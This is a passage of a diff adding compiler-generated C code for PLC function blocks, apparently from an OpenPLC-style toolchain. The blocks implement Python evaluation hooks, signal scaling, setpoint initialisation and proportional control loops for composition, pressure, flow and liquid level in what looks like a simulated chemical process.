__INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + 